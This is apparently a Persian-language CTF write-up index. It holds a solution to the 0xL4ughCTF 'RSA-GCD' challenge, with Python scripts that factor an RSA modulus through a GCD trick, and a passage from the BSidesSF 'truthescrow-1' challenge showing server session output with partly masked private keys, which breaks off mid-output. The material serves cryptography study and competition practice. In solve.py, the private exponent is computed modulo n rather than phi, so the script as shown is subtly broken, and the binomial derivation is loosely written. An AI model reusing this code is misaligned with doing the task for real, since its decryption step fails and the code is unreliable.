\u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u0639\u0645\u062f\u062a\u0627\u064b \u0628\u0631 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0644\u06cc\u062f \u0639\u0645\u0648\u0645\u06cc \u0648 \u0627\u0645\u0636\u0627\u06cc \u062f\u06cc\u062c\u06cc\u062a\u0627\u0644 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0622\u0646\u0647\u0627 \u062a\u0645\u0631\u06a9\u0632 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062e\u0648\u0627\u0646\u0646\u062f\u0647 \u0627\u06cc \u06a9\u0647 \u0628\u0631 \u0645\u0637\u0627\u0644\u0628 \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u062a\u0633\u0644\u0637 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f\u060c \u0646\u0647 \u062a\u0646\u0647\u0627 \u0628\u0631\u0627\u06cc \u0645\u0637\u0627\u0644\u0639\u0647 \u0628\u06cc\u0634\u062a\u0631 \u062f\u0631 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0628\u0647 \u062e\u0648\u0628\u06cc \u0622\u0645\u0627\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f\u060c \u0628\u0644\u06a9\u0647 \u0628\u0647 \u062f\u0631\u06a9 \u0648\u0627\u0642\u0639\u06cc \u0627\u0635\u0648\u0644 \u0631\u06cc\u0627\u0636\u06cc \u0627\u0633\u0627\u0633\u06cc \u06a9\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u062f\u0631\u0646 \u0628\u0631 \u0622\u0646 \u0627\u0633\u062a\u0648\u0627\u0631 \u0627\u0633\u062a\u060c \u062f\u0633\u062a \u062e\u0648\u0627\u0647\u062f \u06cc\u0627\u0641\u062a.

"},{"location":"crypto/writeups/0xL4ughCTF/RSA-GCD/","title":"\u0686\u0627\u0644\u0634 RSA-GCD","text":"","tags":["0xL4ughCTF","0xL4ughCTF-2024","Crypto","RSA","RSA-GCD","Modular Binomials"]},{"location":"crypto/writeups/0xL4ughCTF/RSA-GCD/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u06cc\u06a9 \u0627\u0633\u06a9\u0631\u067e\u06cc\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u062e\u0631\u0648\u062c\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647:

chall1.py
import math\nfrom Crypto.Util.number import *\nfrom secret import flag,p,q\nfrom gmpy2 import next_prime\nm = bytes_to_long(flag.encode())\nn=p*q\n\n\npower1=getPrime(128)\npower2=getPrime(128)\nout1=pow((p+5*q),power1,n)\nout2=pow((2*p-3*q),power2,n)\neq1 = next_prime(out1)\n\nc = pow(m,eq1,n)\n\n\nwith open('chall2.txt', 'w') as f:\n    f.write(f\"power1={power1}\\npower2={power2}\\neq1={eq1}\\nout2={out2}\\nc={c}\\nn={n}\")\n
chall2.txt
power1=281633240040397659252345654576211057861\npower2=176308336928924352184372543940536917109\nhint=411\neq1=2215046782468309450936082777612424211412337114444319825829990136530150023421973276679233466961721799435832008176351257758211795258104410574651506816371525399470106295329892650116954910145110061394115128594706653901546850341101164907898346828022518433436756708015867100484886064022613201281974922516001003812543875124931017296069171534425347946706516721158931976668856772032986107756096884279339277577522744896393586820406756687660577611656150151320563864609280700993052969723348256651525099282363827609407754245152456057637748180188320357373038585979521690892103252278817084504770389439547939576161027195745675950581\nout2=224716457567805571457452109314840584938194777933567695025383598737742953385932774494061722186466488058963292298731548262946252467708201178039920036687466838646578780171659412046424661511424885847858605733166167243266967519888832320006319574592040964724166606818031851868781293898640006645588451478651078888573257764059329308290191330600751437003945959195015039080555651110109402824088914942521092411739845889504681057496784722485112900862556479793984461508688747584333779913379205326096741063817431486115062002833764884691478125957020515087151797715139500054071639511693796733701302441791646733348130465995741750305\nc=11590329449898382355259097288126297723330518724423158499663195432429148659629360772046004567610391586374248766268949395442626129829280485822846914892742999919200424494797999357420039284200041554727864577173539470903740570358887403929574729181050580051531054419822604967970652657582680503568450858145445133903843997167785099694035636639751563864456765279184903793606195210085887908261552418052046078949269345060242959548584449958223195825915868527413527818920779142424249900048576415289642381588131825356703220549540141172856377628272697983038659289548768939062762166728868090528927622873912001462022092096509127650036\nn=14478207897963700838626231927254146456438092099321018357600633229947985294943471593095346392445363289100367665921624202726871181236619222731528254291046753377214521099844204178495251951493800962582981218384073953742392905995080971992691440003270383672514914405392107063745075388073134658615835329573872949946915357348899005066190003231102036536377065461296855755685790186655198033248021908662540544378202344400991059576331593290430353385561730605371820149402732270319368867098328023646016284500105286746932167888156663308664771634423721001257809156324013490651392177956201509967182496047787358208600006325742127976151\n

\u0628\u0631\u0627\u06cc \u06a9\u0633\u0627\u0646\u06cc \u06a9\u0647 \u0642\u0628\u0644\u0627 \u0686\u0627\u0644\u0634 \u0647\u0627\u06cc CryptoHack \u0631\u0648 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0646\u060c \u0645\u0645\u06a9\u0646\u0647 \u0645\u062a\u0648\u062c\u0647 \u0628\u0634\u06cc\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0633\u06cc\u0627\u0631 \u0634\u0628\u06cc\u0647 \u0628\u0647 \u06cc\u06a9 \u0686\u0627\u0644\u0634 CryptoHack \u0647\u0633\u062a\u060c \u062a\u0648\u06cc \u0628\u062e\u0634 \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0648 \u0686\u0644\u0646\u062c Modular Binomials. \u062e\u0628 \u0645\u0627 \u0628\u0644\u0627\u0641\u0627\u0635\u0644\u0647 \u0645\u062a\u0648\u062c\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0634\u062f\u06cc\u0645 \u0648 \u0628\u0647 CryptoHack.org \u0631\u0641\u062a\u06cc\u0645 \u0648 \u062f\u0648\u0628\u0627\u0631\u0647 \u0686\u0644\u0646\u062c \u0631\u0648 \u0645\u0637\u0627\u0644\u0639\u0647 \u0648 \u062d\u0644 \u06a9\u0631\u062f\u06cc\u0645. \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0645\u0633\u0626\u0644\u0647 \u0631\u0648 \u062d\u0644 \u0646\u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u06cc\u062f\u060c \u0645\u0645\u06a9\u0646\u0647 \u0631\u0627\u0647 \u062d\u0644\u06cc \u0646\u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f. \u0628\u0647 \u0647\u0631 \u062d\u0627\u0644 \u0645\u0646 \u0628\u0631\u0627\u062a\u0648\u0646 \u0631\u0627\u0647 \u062d\u0644 \u0631\u0648 \u0628\u0627 \u062c\u0632\u0626\u06cc\u0627\u062a \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u062f\u0645.

","tags":["0xL4ughCTF","0xL4ughCTF-2024","Crypto","RSA","RSA-GCD","Modular Binomials"]},{"location":"crypto/writeups/0xL4ughCTF/RSA-GCD/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u060c \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0632\u06cc\u0631 \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647:

out_1\\equiv(p+5q)^{power_1}\\pmod{n} out_2\\equiv(2p-3q)^{power_2}\\pmod{n}

\u06a9\u0647 p \u0648 q \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u062d\u0627\u0635\u0644\u0636\u0631\u0628 \u0627\u0648\u0646\u0627 n \u0647\u0633\u062a. \u0645\u0627 \u0627\u0644\u0628\u062a\u0647 \u0628\u0627\u06cc\u062f \u0627\u06cc\u0646\u0647\u0627 \u0631\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc RSA \u0627\u06cc \u0631\u0627 \u0628\u0634\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0645\u062a\u0646 \u0631\u0645\u0632\u06cc \u0622\u0646 c \u0627\u0633\u062a.

\u062a\u0648\u062c\u0647 \u06a9\u0646\u06cc\u062f\u060c \u0628\u0627 \u0627\u06cc\u0646\u06a9\u0647\u060c out1 \u062f\u0631 \u0641\u0627\u06cc\u0644 \u062e\u0631\u0648\u062c\u06cc \u0645\u0627 \u062f\u0627\u062f\u0647 \u0646\u0634\u062f\u0647! \u062f\u0631 \u0639\u0648\u0636\u060c eq1 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u06a9\u0647 \u06a9\u0648\u0686\u06a9\u062a\u0631\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644 \u0628\u0639\u062f \u0627\u0632 out1 \u0647\u0633\u062a.

\u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06cc\u06a9 \u0645\u062a\u063a\u06cc\u0631 hint \u062a\u0648\u06cc \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0648\u0644\u06cc \u0627\u06af\u0647 \u062f\u0642\u062a \u06a9\u0646\u06cc\u062f \u062a\u0648\u06cc \u0647\u06cc\u062c \u062c\u0627 \u0627\u0632 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0634\u062f\u0647 \u0648 \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u06a9\u0644\u0627 \u0628\u0647 \u062f\u0631\u062f \u0645\u0627 \u0646\u0645\u06cc\u062e\u0648\u0631\u0647.

\u0627\u0628\u062a\u062f\u0627 \u0628\u06cc\u0627\u06cc\u0646 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627 \u0631\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u062e\u0648\u0646\u062f\u0646\u0634 \u06a9\u0645\u06cc \u0622\u0633\u0648\u0646 \u062a\u0631 \u0628\u0634\u0647.

o_1\\equiv(p+5q)^{p_1}\\pmod{n} o_2\\equiv(2p-3q)^{p_2}\\pmod{n}

\u062d\u0627\u0644 \u0628\u06cc\u0627\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u062e\u0648\u062f\u0645\u0648\u0646 \u0631\u0648 \u0647\u0631 \u06cc\u06a9 \u0631\u0627 \u0628\u0647 \u062a\u0648\u0627\u0646 \u062f\u06cc\u06af\u0631\u06cc \u0628\u0631\u0633\u0648\u0646\u06cc\u0645\u060c \u06cc\u0639\u0646\u06cc:

o_1^{p_2}\\equiv(p+5q)^{p_1p_2}\\pmod{n} o_2^{p_1}\\equiv(2p-3q)^{p_2p_1}\\pmod{n}

\u0628\u0647 \u062f\u0644\u06cc\u0644 \u00a0Binomial Theorem\u060c \u0645\u06cc \u062f\u0627\u0646\u06cc\u0645 \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u0633\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645:

o_1^{p_2}\\equiv(p)^{p_1p_2} + (5q)^{p_1p_2}\\pmod{n} o_2^{p_1}\\equiv(2p)^{p_2p_1} + (-3q)^{p_1p_2}\\pmod{n}

\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0633\u0627\u06cc\u0631 \u0639\u0628\u0627\u0631\u062a \u0647\u0627 \u062f\u0627\u0631\u0627\u06cc \u06cc\u06a9 pq \u0628\u0631\u0627\u0628\u0631 n \u0647\u0633\u062a\u0646\u062f.

\u062d\u0627\u0644 \u0628\u06cc\u0627\u06cc\u0646 \u0647\u0631 \u062f\u0648 \u0645\u0639\u0627\u062f\u0644\u0647 \u0628\u0647 \u0635\u0648\u0631\u062a (mod; q) \u062f\u0631 \u0646\u0638\u0631 \u0628\u06af\u06cc\u0631\u06cc\u0645. \u0628\u0627 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u060c q\u0647\u0627 \u062f\u0631 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0645\u0627 \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u0646\u062f \u0648 \u0646\u062a\u06cc\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0645\u06cc\u0634\u0647:

o_1^{p_2}\\equiv(p)^{p_1p_2}\\pmod{q} o_2^{p_1}\\equiv(2p)^{p_2p_1}\\pmod{q}

\u062d\u0627\u0644\u0627 \u0627\u06af\u0647 \u0645\u0639\u0627\u062f\u0644\u0647 \u0627\u0648\u0644 \u0631\u0648 \u062f\u0631 (2)^{p_1p_2} \u0636\u0631\u0628 \u06a9\u0646\u06cc\u0645 \u0645\u06cc\u0634\u0647:

o_1^{p_2} \\cdot 2^{p_1p_2} \\equiv(p)^{p_1p_2} \\cdot 2^{p_1p_2}\\pmod{q} o_2^{p_1}\\equiv(2p)^{p_2p_1}\\pmod{q}

\u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u062f\u0627\u0631\u06cc\u0645:

o_1^{p_2} \\cdot 2^{p_1p_2} =(2p)^{p_1p_2}\\pmod{q} o_2^{p_1}\\equiv(2p)^{p_2p_1} + k_2q

\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u062a\u0639\u0631\u06cc\u0641 \u062d\u0633\u0627\u0628 \u067e\u06cc\u0645\u0627\u0646\u0647 \u0627\u06cc \u06cc\u0627 (Modular Arithmetic) \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645:

o_1^{p_2} \\cdot 2^{p_1p_2} =(2p)^{p_1p_2} + k_1q o_2^{p_1}\\equiv(2p)^{p_2p_1} + k_2q

\u0645\u0639\u0627\u062f\u0644\u0647 \u062f\u0648\u0645 \u0631\u0648 \u0627\u0632 \u0627\u0648\u0644\u06cc \u06a9\u0645 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646:

x = o_1^{p_2} \\cdot 2^{p_1p_2} - o_2^{p_1} = (2p)^{p_1p_2} + k_1q - ((2p)^{p_2p_1} + k_2q)\\equiv(k_1 - k_2)q

\u062e\u0628 \u062d\u0627\u0644\u0627 \u0639\u062f\u062f\u06cc \u062a\u0648\u0644\u06cc\u062f \u06a9\u0631\u062f\u0647 \u0627\u06cc\u0645 \u06a9\u0647 \u0645\u0636\u0631\u0628 q \u0647\u0633\u062a. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 gcd(x, n),\u00a0 \u200d\u200d q \u0631\u0627 \u0628\u0631\u0645\u06cc \u06af\u0631\u062f\u0627\u0646\u062f.

\u062d\u0627\u0644\u0627\u00a0 \u0627\u06af\u0647 \u0645\u0642\u062f\u0627\u0631 \u200d\u200dout_1 \u0645\u06cc\u062f\u0648\u0646\u0633\u062a\u06cc\u0645 \u06a9\u0627\u0631 \u062a\u0645\u0648\u0645 \u0628\u0648\u062f. \u0627\u0645\u0627 \u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u0646\u0645\u06cc\u062f\u0648\u0646\u06cc\u0645. \u0645\u0627 \u0641\u0642\u0637 \u06a9\u0648\u0686\u06a9\u062a\u0631\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644 \u0628\u0632\u0631\u06af\u062a\u0631 \u0627\u0632 \u0627\u0648\u0646 \u0631\u0648 \u0645\u06cc\u062f\u0648\u0646\u06cc\u0645 \u06a9\u0647 eq1 \u0647\u0633\u062a. \u067e\u0633 \u0686\u062c\u0648\u0631\u06cc \u0645\u06cc \u062a\u0648\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645\u061f

\u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 out_1 \u0645\u06cc\u0627\u06cc\u0645 \u062a\u0645\u0627\u0645\u06cc \u0627\u0639\u062f\u0627\u062f \u0645\u062a\u0648\u0627\u0644\u06cc \u06a9\u0645\u062a\u0631 \u0627\u0632 \u200deq1 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0647 \u0627\u0648\u0644\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644 \u0628\u0631\u0633\u06cc\u0645 \u0648 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0627\u0648\u0646 out_1 \u0647\u0633\u062a.

find_out1.py
x1 = pow(2, power1*power2, n)\nx2 = pow(out2, power1, n)\n\nfor i in range(10000):\n    diff = abs(pow(eq1, power2, n)*x1 - x2)\n    q = gcd(diff, n)\n    if q > 1:\n        break\n    eq1 -= 1\n    if is_prime(eq1):\n        break\n

\u062e\u0628 \u0627\u0644\u0627\u0646 q \u0631\u0648 \u062f\u0627\u0631\u06cc\u0645\u060c\u00a0 \u0628\u0647 \u0633\u0627\u062f\u06af\u06cc \u0631\u0648\u06cc\u0647 \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f RSA \u0631\u0648 \u062c\u0644\u0648 \u0645\u06cc\u0631\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645:

solve.py
from gmpy2 import next_prime, gcd, is_prime\nfrom Crypto.Util.number import *\n\npower1=281633240040397659252345654576211057861\npower2=176308336928924352184372543940536917109\nhint=411\neq1=2215046782468309450936082777612424211412337114444319825829990136530150023421973276679233466961721799435832008176351257758211795258104410574651506816371525399470106295329892650116954910145110061394115128594706653901546850341101164907898346828022518433436756708015867100484886064022613201281974922516001003812543875124931017296069171534425347946706516721158931976668856772032986107756096884279339277577522744896393586820406756687660577611656150151320563864609280700993052969723348256651525099282363827609407754245152456057637748180188320357373038585979521690892103252278817084504770389439547939576161027195745675950581\nout2=224716457567805571457452109314840584938194777933567695025383598737742953385932774494061722186466488058963292298731548262946252467708201178039920036687466838646578780171659412046424661511424885847858605733166167243266967519888832320006319574592040964724166606818031851868781293898640006645588451478651078888573257764059329308290191330600751437003945959195015039080555651110109402824088914942521092411739845889504681057496784722485112900862556479793984461508688747584333779913379205326096741063817431486115062002833764884691478125957020515087151797715139500054071639511693796733701302441791646733348130465995741750305\nc=11590329449898382355259097288126297723330518724423158499663195432429148659629360772046004567610391586374248766268949395442626129829280485822846914892742999919200424494797999357420039284200041554727864577173539470903740570358887403929574729181050580051531054419822604967970652657582680503568450858145445133903843997167785099694035636639751563864456765279184903793606195210085887908261552418052046078949269345060242959548584449958223195825915868527413527818920779142424249900048576415289642381588131825356703220549540141172856377628272697983038659289548768939062762166728868090528927622873912001462022092096509127650036\nn=14478207897963700838626231927254146456438092099321018357600633229947985294943471593095346392445363289100367665921624202726871181236619222731528254291046753377214521099844204178495251951493800962582981218384073953742392905995080971992691440003270383672514914405392107063745075388073134658615835329573872949946915357348899005066190003231102036536377065461296855755685790186655198033248021908662540544378202344400991059576331593290430353385561730605371820149402732270319368867098328023646016284500105286746932167888156663308664771634423721001257809156324013490651392177956201509967182496047787358208600006325742127976151\ne = eq1\n\nx1 = pow(2, power1*power2, n)\nx2 = pow(out2, power1, n)\nfor i in range(10000):\n    diff = abs(pow(eq1, power2, n)*x1 - x2)\n    q = gcd(diff, n)\n    if q > 1:\n        break\n    eq1 -= 1\n    if is_prime(eq1):\n        break\n\np = n//q\nphi = (p - 1)*(q - 1)\nd = inverse(e, n)\nprint(long_to_bytes(pow(c, d, n)))\n
FLAG

0xL4ugh{you_know_how_factor_N!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli

","tags":["0xL4ughCTF","0xL4ughCTF-2024","Crypto","RSA","RSA-GCD","Modular Binomials"]},{"location":"crypto/writeups/BSidesSF/truthescrow1/","title":"\u0686\u0627\u0644\u0634 truthescrow-1","text":"","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half p and q"]},{"location":"crypto/writeups/BSidesSF/truthescrow1/#_1","title":"\u0622\u0634\u0646\u0627\u06cc\u06cc \u0627\u0648\u0644\u06cc\u0647 \u0628\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0645\u0633\u0627\u0644\u0647","text":"

\u062e\u0628 \u0628\u0627 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0627\u0632 \u0637\u0631\u06cc\u0642 netcat \u0628\u0647 \u0633\u0631\u0648\u0631 \u0633\u0648\u0627\u0644 \u0648\u0635\u0644 \u0645\u06cc\u0634\u06cc\u0645

ncat --proxy-type socks5 --proxy 127.0.0.1:2080 truthescrow-1fd51bd8.challenges.bsidessf.net 1984\n
\u0648 \u0628\u0627 \u062e\u0631\u0648\u062c\u06cc \u0632\u06cc\u0631 \u0631\u0648\u0628\u0631\u0648 \u0645\u06cc\u0634\u06cc\u0645
                                       ##\n                                      ####\n                                     ##  ##\n                                   ##########\n                           ##########      ##########\n                       #####      ###       ##      ######\n                    ####         ####      ####         #####\n                 ####           ## ###    ### ##           ####\n               ###             ##    ##  ###   ##             ###\n             ###              ##      #####     ###             ###\n            ###              ##       ####       ###              ###\n          ###               ##        ####        ##               ###\n         ###               ##        ### ###       ###               ##\n        ##                ##        ##    ###       ###               ##\n       ##               ###        ##      ###       ###               ##\n      ###              ###        ##        ###       ###               ##\n     ###              ###        ##############        ###              ###\n     ##              ###      ##### #### ###  #####     ###              ###\n    ###             ###    ####  ######  ######  ####    ###              ##\n    ##             ###   ###  ########    ########  ###    ##             ###\n   ###            ###   ##  #########      #########  ###   ##            ###\n   ###           ###  ###  ##########      ########### ###   ##           ###\n   ###          ##     ##  ##########      ##########  ###    ##          ###\n   ###         ##       ###  ########      ######### ###       ##         ###\n   ###        ##        #####  #######    #######  #####        ##        ###\n   ###       ##        ###  #### ####### ###### #####  ##        ##       ###\n    ##      ##        ###     ######        ######      ##        ##      ###\n    ###    ##        ###           ##########            ##        ##     ##\n    ###   ##        ###                                   ###       ###  ###\n     ######################################################################\n      ####        ##                                        ###       #####\n      ###        ##            MINISTRY OF TRUTH             ###       ###\n     ###        ##                SINCE 1984                  ###       ###\n    ####      ####                                            ####       ###\n   ##########################################################################\n           ###                                                    ###\n             ###       WAR IS PEACE     FREEDOM IS SLAVERY       ###\n              ####           IGNORANCE IS STRENGTH             ###\n                ####      PRIVATE KEYS ARE PUBLIC KEYS      ####\n                   ####                                  ####\n                      #####                          ######\n                         ######                  ######\n                              ####################\n\nTry \"help\" for a list of commands\n

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0645\u06cc\u0627\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u0631\u0648 \u0627\u0645\u062a\u062d\u0627\u0646 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0647\u0631 \u062f\u0633\u062a\u0648\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647

\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 help
truthescrow> help\nhelp\n\ntruthescrow help:\n\n\nCommands:\n    help                 // Prints this help\n\n    help types           // Display help about the censorship types\n\n    listkeys             // Display all current private keys\n    genkey               // Generate a new keypair\n\n    listtruth            // Get a list of unread truth\n    sendtruth            // Speak truth to a citizen\n    readtruth            // Read truth from citizens\n\n    exit                 // Exit the keyservice\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 help types
truthescrow> help types\nhelp types\n\nAt the ministry of truth we believe in choice. Your private key\ncan be censored by masking half of p and q or masking half of d.\n\nChoose \"pq\" or \"d\" to select between these.\n\nWAR IS PEACE\nFREEDOM IS SLAVERY\nIGNORANCE IS STRENGTH\nPRIVATE KEYS ARE PUBLIC KEYS\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 listkeys
truthescrow> listkeys\nlistkeys\n\nCitizen  0. (Nicholas Howgrave-Graham)\nPublic n: 0xbd94491c739fbbf037263e855f4773051c5624294461786822dbb724282426232a8c66f01901b402b7d9193463145acd3e8b891637c99b6997ad15979364ea3268f4a3bf97be351b7b7f24c2f3da4f65c23f1d6aa61ef1d85d84006a2b96a50e3bc7addb816c66c7f12d11c56d35a99e6a6c60fcbdc8d90ec8ea3c1339d2d50cd1db8264dbf806661f430373c876431d8fa0344de2f075179cdde3f718249de992a1de8701a5e9253eb55334cdaaf27c5b894e60ccdc0b0d595f92e79882f42d25be63737fdfcbd428ba09db56099324d12127185c31859c5697d4ea0c256e841b7db55e9c217e72c5415fa6074032328c919b29d0be8b0e7a7249915585c86d\nPublic e: 0x10001\nPrivate p: 0xd192d28df547f3587e841b9177b323ea93fc043a28a297e189a50b9cc10785cf3bc53c26d8a31391f5aaf9ef3c8eb9b2e31dd5bf4355b1a724a8c9705264cd65[...]\nPrivate q: 0x[...]76008af358febf9d20fc174333a006fdd5de7edd7f9c715861dec66945baec90a98bda4bc5685dbd7b5a09a7d7564921b379615cea51f54023bae030f862f025\n\nCitizen  1. (Nadia Heninger Hovav Shacham)\nPublic n: 0xc17c59923900220c886dca8a49e4bc95e803b2be15cf452c25589c529bc5a03076337bfdda082c8f0ac634e8d3a3cb0a18e50002e9764c12306cd304c831a3e918042bfee0edbca556ecc19a506bb0580154166bcb6fbd537a62a9d6d69a7984d777baeb2066afac90bbeaa9b342adb8cd8b9eefa89574c23dd5f1f56dfc373726ce356067085c4a5a1567af6d3dd9f7a5a8f2f73d39f95453cbfdf25de50b6267f338c2edd1b0401ece05426701cc858f0f9b90e7628b5c505130c9f5c19c833d26e1c51f3f24c3cff0f915401f906ef1db3415e68622fe994ca6af85d27d210bb2069ad2ba38e994e3a2b63027da746cf87624a80661b5b7bf5a3a20a68125\nPublic e: 0x10001\nPrivate d: 0x[...]6ebbc2bf14ca4042c502666e8ed67d391aaf8ba94e5c77f0328fe74705b377c5163bb9d70c90ead25ad926c6d07e672edc649e838aac35e0e745870e09fc3ee3e68844e58cf44bfafa3343a1110aaf9799c1d7edae6c53c3bf5134407c594d853698b944e96f66ace28939c46369ee6633f029f764ac1503d9788888cd7e0b41f975d801\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 listtruth
truthescrow> listtruth\nlisttruth\nCitizen  0. (Nicholas, Howgrave-Graham): 1 unread truth\nCitizen  1. (Nadia Heninger, Hovav Shacham): 1 unread truth\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 readtruth
truthescrow> readtruth\nreadtruth\n\nEnter citizen (by number) to read unread truth? 0\n0\n\nWelcome Nicholas(?), before we continue, you must prove it's you\n\nPlease provide the signature for 167191240887922926367864635367418688498 : 123\n123\nSignature validation failed!\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 genkey
truthescrow> genkey\n\nFirst name? myName\n\nLast name? myFamily\n\nMask which part of private key (pq / d)? pq\n\nGenerating key for myName...\nmyName, your key is ready!\nPublic modulus: 20979142480287036782096448663659138925693237674236352794079268948084502992407162535815284022086411164153415552324026463075509151571302171135637480084305448742563933699548185852636262497346874930468833997334095726419709369992902285578489508950820146709218877805604917709398452431624208697101639920463933858368085556374738864559564823528330129197025514287755661274817687606841384703931455015768109579287479475972954536504802224629052561445762438733942237277343630121023374214450381316159943618195506783146813350739427763618750512315499303398456818791883300843331931426058789584475485596410344778964198791545947538224637\nPublic exponent: 65537\nPrivate exponent: 14022480985534486568499243690000893855989628398003012559998815573963435213427464712778865626859563926419280227498267836718535764294686842647612796055556406032745061807966618570803232963002271332669900563852786415243532187200193548984020216665252857570491980747890861959812002514111089338488751952575226553943593659689546916399081320296009292913027617586275084566979677876621805855253182121379328651098722383743889540290848904868131988569803798941020272467228257061824600039403308054560967400846645718413769077794347736899600194785455471325830667173673079432162686620773386394396431587327310147957056130759558692869613\nPrivate p: 143520065613884667110088351015529900092179284102268966793203999148382800365697568275165099205910730725349989239598280077044163113655111898779184440951090653891630295115058143608933469290010237772969195292930865897494760083372491221513253179143844896176241644867128092872414079683202327239101048896938688495563\nPrivate q: 